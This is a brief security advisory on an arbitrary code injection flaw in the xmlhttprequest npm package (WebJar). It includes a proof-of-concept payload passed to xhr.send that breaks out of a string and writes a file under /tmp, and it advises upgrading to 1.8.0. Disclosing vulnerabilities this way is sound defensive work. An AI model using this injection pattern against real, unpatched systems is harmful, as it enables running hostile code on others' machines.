    Arbitrary Code Injection

    org.webjars.npm:xmlhttprequest is a wrapper for the built-in http client to emulate the browser XMLHttpRequest object.

    Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

    POC

    const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest()
xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */)
xhr.send("\\');require(\"fs\").writeFileSync(\"/tmp/aaaaa.txt\", \"poc-20210306\");req.end();//")

    How to fix Arbitrary Code Injection?

    Upgrade org.webjars.npm:xmlhttprequest to version 1.8.0 or higher.
